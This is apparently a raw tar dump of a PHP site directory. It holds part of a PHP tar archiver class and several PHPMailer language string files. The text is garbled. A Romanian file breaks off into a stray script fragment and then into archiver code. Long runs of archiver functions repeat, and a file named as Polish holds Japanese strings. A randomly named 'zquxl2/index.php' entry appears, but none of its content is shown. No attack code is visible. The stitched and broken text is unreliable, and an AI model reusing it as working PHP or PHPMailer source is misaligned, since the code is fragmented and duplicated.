return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } ?> PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-sr.php000064400000004375151026170410021411 0ustar00 * @author Miloš Milanović */ $PHPMAILER_LANG['authenticate'] = 'SMTP грешка: аутентификација није успела.'; $PHPMAILER_LANG['connect_host'] = 'SMTP грешка: повезивање са SMTP сервером није успело.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP грешка: подаци нису прихваћени.'; $PHPMAILER_LANG['empty_message'] = 'Садржај поруке је празан.'; $PHPMAILER_LANG['encoding'] = 'Непознато кодирање: '; $PHPMAILER_LANG['execute'] = 'Није могуће извршити наредбу: '; $PHPMAILER_LANG['file_access'] = 'Није могуће приступити датотеци: '; $PHPMAILER_LANG['file_open'] = 'Није могуће отворити датотеку: '; $PHPMAILER_LANG['from_failed'] = 'SMTP грешка: слање са следећих адреса није успело: '; $PHPMAILER_LANG['recipients_failed'] = 'SMTP грешка: слање на следеће адресе није успело: '; $PHPMAILER_LANG['instantiate'] = 'Није могуће покренути mail функцију.'; $PHPMAILER_LANG['invalid_address'] = 'Порука није послата. Неисправна адреса: '; $PHPMAILER_LANG['mailer_not_supported'] = ' мејлер није подржан.'; $PHPMAILER_LANG['provide_address'] = 'Дефинишите бар једну адресу примаоца.'; $PHPMAILER_LANG['signing'] = 'Грешка приликом пријаве: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Повезивање са SMTP сервером није успело.'; $PHPMAILER_LANG['smtp_error'] = 'Грешка SMTP сервера: '; $PHPMAILER_LANG['variable_set'] = 'Није могуће задати нити ресетовати променљиву: '; $PHPMAILER_LANG['extension_missing'] = 'Недостаје проширење: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-he.php000064400000003424151026170410021353 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'שגיאת SMTP: פעולת האימות נכשלה.'; $PHPMAILER_LANG['connect_host'] = 'שגיאת SMTP: לא הצלחתי להתחבר לשרת SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'שגיאת SMTP: מידע לא התקבל.'; $PHPMAILER_LANG['empty_message'] = 'גוף ההודעה ריק'; $PHPMAILER_LANG['invalid_address'] = 'כתובת שגויה: '; $PHPMAILER_LANG['encoding'] = 'קידוד לא מוכר: '; $PHPMAILER_LANG['execute'] = 'לא הצלחתי להפעיל את: '; $PHPMAILER_LANG['file_access'] = 'לא ניתן לגשת לקובץ: '; $PHPMAILER_LANG['file_open'] = 'שגיאת קובץ: לא ניתן לגשת לקובץ: '; $PHPMAILER_LANG['from_failed'] = 'כתובות הנמענים הבאות נכשלו: '; $PHPMAILER_LANG['instantiate'] = 'לא הצלחתי להפעיל את פונקציית המייל.'; $PHPMAILER_LANG['mailer_not_supported'] = ' אינה נתמכת.'; $PHPMAILER_LANG['provide_address'] = 'חובה לספק לפחות כתובת אחת של מקבל המייל.'; $PHPMAILER_LANG['recipients_failed'] = 'שגיאת SMTP: הנמענים הבאים נכשלו: '; $PHPMAILER_LANG['signing'] = 'שגיאת חתימה: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() failed.'; $PHPMAILER_LANG['smtp_error'] = 'שגיאת שרת SMTP: '; $PHPMAILER_LANG['variable_set'] = 'לא ניתן לקבוע או לשנות את המשתנה: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-es.php000064400000003777151026170410021401 0ustar00 * @author Crystopher Glodzienski Cardoso */ $PHPMAILER_LANG['authenticate'] = 'Error SMTP: Imposible autentificar.'; $PHPMAILER_LANG['connect_host'] = 'Error SMTP: Imposible conectar al servidor SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'Error SMTP: Datos no aceptados.'; $PHPMAILER_LANG['empty_message'] = 'El cuerpo del mensaje está vacío.'; $PHPMAILER_LANG['encoding'] = 'Codificación desconocida: '; $PHPMAILER_LANG['execute'] = 'Imposible ejecutar: '; $PHPMAILER_LANG['file_access'] = 'Imposible acceder al archivo: '; $PHPMAILER_LANG['file_open'] = 'Error de Archivo: Imposible abrir el archivo: '; $PHPMAILER_LANG['from_failed'] = 'La(s) siguiente(s) direcciones de remitente fallaron: '; $PHPMAILER_LANG['instantiate'] = 'Imposible crear una instancia de la función Mail.'; $PHPMAILER_LANG['invalid_address'] = 'Imposible enviar: dirección de email inválido: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer no está soportado.'; $PHPMAILER_LANG['provide_address'] = 'Debe proporcionar al menos una dirección de email de destino.'; $PHPMAILER_LANG['recipients_failed'] = 'Error SMTP: Los siguientes destinos fallaron: '; $PHPMAILER_LANG['signing'] = 'Error al firmar: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() falló.'; $PHPMAILER_LANG['smtp_error'] = 'Error del servidor SMTP: '; $PHPMAILER_LANG['variable_set'] = 'No se pudo configurar la variable: '; $PHPMAILER_LANG['extension_missing'] = 'Extensión faltante: '; $PHPMAILER_LANG['smtp_code'] = 'Código del servidor SMTP: '; $PHPMAILER_LANG['smtp_code_ex'] = 'Información adicional del servidor SMTP: '; $PHPMAILER_LANG['invalid_header'] = 'Nombre o valor de encabezado no válido'; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-ba.php000064400000003321151026170410021335 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP Greška: Neuspjela prijava.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Greška: Nije moguće spojiti se sa SMTP serverom.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Greška: Podatci nisu prihvaćeni.'; $PHPMAILER_LANG['empty_message'] = 'Sadržaj poruke je prazan.'; $PHPMAILER_LANG['encoding'] = 'Nepoznata kriptografija: '; $PHPMAILER_LANG['execute'] = 'Nije moguće izvršiti naredbu: '; $PHPMAILER_LANG['file_access'] = 'Nije moguće pristupiti datoteci: '; $PHPMAILER_LANG['file_open'] = 'Nije moguće otvoriti datoteku: '; $PHPMAILER_LANG['from_failed'] = 'SMTP Greška: Slanje sa navedenih e-mail adresa nije uspjelo: '; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Greška: Slanje na navedene e-mail adrese nije uspjelo: '; $PHPMAILER_LANG['instantiate'] = 'Ne mogu pokrenuti mail funkcionalnost.'; $PHPMAILER_LANG['invalid_address'] = 'E-mail nije poslan. Neispravna e-mail adresa: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer nije podržan.'; $PHPMAILER_LANG['provide_address'] = 'Definišite barem jednu adresu primaoca.'; $PHPMAILER_LANG['signing'] = 'Greška prilikom prijave: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'Spajanje na SMTP server nije uspjelo.'; $PHPMAILER_LANG['smtp_error'] = 'SMTP greška: '; $PHPMAILER_LANG['variable_set'] = 'Nije moguće postaviti varijablu ili je vratiti nazad: '; $PHPMAILER_LANG['extension_missing'] = 'Nedostaje ekstenzija: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-pl.php000064400000003546151026170410021377 0ustar00 * @author Yoshi Sakai * @author Arisophy */ $PHPMAILER_LANG['authenticate'] = 'SMTPエラー: 認証できませんでした。'; $PHPMAILER_LANG['connect_host'] = 'SMTPエラー: SMTPホストに接続できませんでした。'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTPエラー: データが受け付けられませんでした。'; $PHPMAILER_LANG['empty_message'] = 'メール本文が空です。'; $PHPMAILER_LANG['encoding'] = '不明なエンコーディング: '; $PHPMAILER_LANG['execute'] = '実行できませんでした: '; $PHPMAILER_LANG['file_access'] = 'ファイルにアクセスできません: '; $PHPMAILER_LANG['file_open'] = 'ファイルエラー: ファイルを開けません: '; $PHPMAILER_LANG['from_failed'] = 'Fromアドレスを登録する際にエラーが発生しました: '; $PHPMAILER_LANG['instantiate'] = 'メール関数が正常に動作しませんでした。'; $PHPMAILER_LANG['invalid_address'] = '不正なメールアドレス: '; $PHPMAILER_LANG['provide_address'] = '少なくとも1つメールアドレスを 指定する必要があります。'; $PHPMAILER_LANG['mailer_not_supported'] = ' メーラーがサポートされていません。'; $PHPMAILER_LANG['recipients_failed'] = 'SMTPエラー: 次の受信者アドレスに 間違いがあります: '; $PHPMAILER_LANG['signing'] = '署名エラー: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP接続に失敗しました。'; $PHPMAILER_LANG['smtp_error'] = 'SMTPサーバーエラー: '; $PHPMAILER_LANG['variable_set'] = '変数が存在しません: '; $PHPMAILER_LANG['extension_missing'] = '拡張機能が見つかりません: '; PHPMailer/vendor/phpmailer/phpmailer/language/zquxl2/index.php000064400000000152151026170410020427 0ustar00PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-fa.php000064400000004037151026170410021346 0ustar00 * @author Mohammad Hossein Mojtahedi */ $PHPMAILER_LANG['authenticate'] = 'خطای SMTP: احراز هویت با شکست مواجه شد.'; $PHPMAILER_LANG['connect_host'] = 'خطای SMTP: اتصال به سرور SMTP برقرار نشد.'; $PHPMAILER_LANG['data_not_accepted'] = 'خطای SMTP: داده‌ها نا‌درست هستند.'; $PHPMAILER_LANG['empty_message'] = 'بخش متن پیام خالی است.'; $PHPMAILER_LANG['encoding'] = 'کد‌گذاری نا‌شناخته: '; $PHPMAILER_LANG['execute'] = 'امکان اجرا وجود ندارد: '; $PHPMAILER_LANG['file_access'] = 'امکان دسترسی به فایل وجود ندارد: '; $PHPMAILER_LANG['file_open'] = 'خطای File: امکان بازکردن فایل وجود ندارد: '; $PHPMAILER_LANG['from_failed'] = 'آدرس فرستنده اشتباه است: '; $PHPMAILER_LANG['instantiate'] = 'امکان معرفی تابع ایمیل وجود ندارد.'; $PHPMAILER_LANG['invalid_address'] = 'آدرس ایمیل معتبر نیست: '; $PHPMAILER_LANG['mailer_not_supported'] = ' mailer پشتیبانی نمی‌شود.'; $PHPMAILER_LANG['provide_address'] = 'باید حداقل یک آدرس گیرنده وارد کنید.'; $PHPMAILER_LANG['recipients_failed'] = 'خطای SMTP: ارسال به آدرس گیرنده با خطا مواجه شد: '; $PHPMAILER_LANG['signing'] = 'خطا در امضا: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'خطا در اتصال به SMTP.'; $PHPMAILER_LANG['smtp_error'] = 'خطا در SMTP Server: '; $PHPMAILER_LANG['variable_set'] = 'امکان ارسال یا ارسال مجدد متغیر‌ها وجود ندارد: '; $PHPMAILER_LANG['extension_missing'] = 'افزونه موجود نیست: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-it.php000064400000003433151026170410021373 0ustar00 * @author Stefano Sabatini */ $PHPMAILER_LANG['authenticate'] = 'SMTP Error: Impossibile autenticarsi.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Error: Impossibile connettersi all\'host SMTP.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Error: Dati non accettati dal server.'; $PHPMAILER_LANG['empty_message'] = 'Il corpo del messaggio è vuoto'; $PHPMAILER_LANG['encoding'] = 'Codifica dei caratteri sconosciuta: '; $PHPMAILER_LANG['execute'] = 'Impossibile eseguire l\'operazione: '; $PHPMAILER_LANG['file_access'] = 'Impossibile accedere al file: '; $PHPMAILER_LANG['file_open'] = 'File Error: Impossibile aprire il file: '; $PHPMAILER_LANG['from_failed'] = 'I seguenti indirizzi mittenti hanno generato errore: '; $PHPMAILER_LANG['instantiate'] = 'Impossibile istanziare la funzione mail'; $PHPMAILER_LANG['invalid_address'] = 'Impossibile inviare, l\'indirizzo email non è valido: '; $PHPMAILER_LANG['provide_address'] = 'Deve essere fornito almeno un indirizzo ricevente'; $PHPMAILER_LANG['mailer_not_supported'] = 'Mailer non supportato'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP Error: I seguenti indirizzi destinatari hanno generato un errore: '; $PHPMAILER_LANG['signing'] = 'Errore nella firma: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP Connect() fallita.'; $PHPMAILER_LANG['smtp_error'] = 'Errore del server SMTP: '; $PHPMAILER_LANG['variable_set'] = 'Impossibile impostare o resettare la variabile: '; $PHPMAILER_LANG['extension_missing'] = 'Estensione mancante: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-lv.php000064400000003153151026170410021377 0ustar00 */ $PHPMAILER_LANG['authenticate'] = 'SMTP kļūda: Autorizācija neizdevās.'; $PHPMAILER_LANG['connect_host'] = 'SMTP Kļūda: Nevar izveidot savienojumu ar SMTP serveri.'; $PHPMAILER_LANG['data_not_accepted'] = 'SMTP Kļūda: Nepieņem informāciju.'; $PHPMAILER_LANG['empty_message'] = 'Ziņojuma teksts ir tukšs'; $PHPMAILER_LANG['encoding'] = 'Neatpazīts kodējums: '; $PHPMAILER_LANG['execute'] = 'Neizdevās izpildīt komandu: '; $PHPMAILER_LANG['file_access'] = 'Fails nav pieejams: '; $PHPMAILER_LANG['file_open'] = 'Faila kļūda: Nevar atvērt failu: '; $PHPMAILER_LANG['from_failed'] = 'Nepareiza sūtītāja adrese: '; $PHPMAILER_LANG['instantiate'] = 'Nevar palaist sūtīšanas funkciju.'; $PHPMAILER_LANG['invalid_address'] = 'Nepareiza adrese: '; $PHPMAILER_LANG['mailer_not_supported'] = ' sūtītājs netiek atbalstīts.'; $PHPMAILER_LANG['provide_address'] = 'Lūdzu, norādiet vismaz vienu adresātu.'; $PHPMAILER_LANG['recipients_failed'] = 'SMTP kļūda: neizdevās nosūtīt šādiem saņēmējiem: '; $PHPMAILER_LANG['signing'] = 'Autorizācijas kļūda: '; $PHPMAILER_LANG['smtp_connect_failed'] = 'SMTP savienojuma kļūda'; $PHPMAILER_LANG['smtp_error'] = 'SMTP servera kļūda: '; $PHPMAILER_LANG['variable_set'] = 'Nevar piešķirt mainīgā vērtību: '; //$PHPMAILER_LANG['extension_missing'] = 'Extension missing: '; PHPMailer/vendor/phpmailer/phpmailer/language/phpmailer.lang-ro.php000064400000004620151026170410021376 0ustar00<\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) 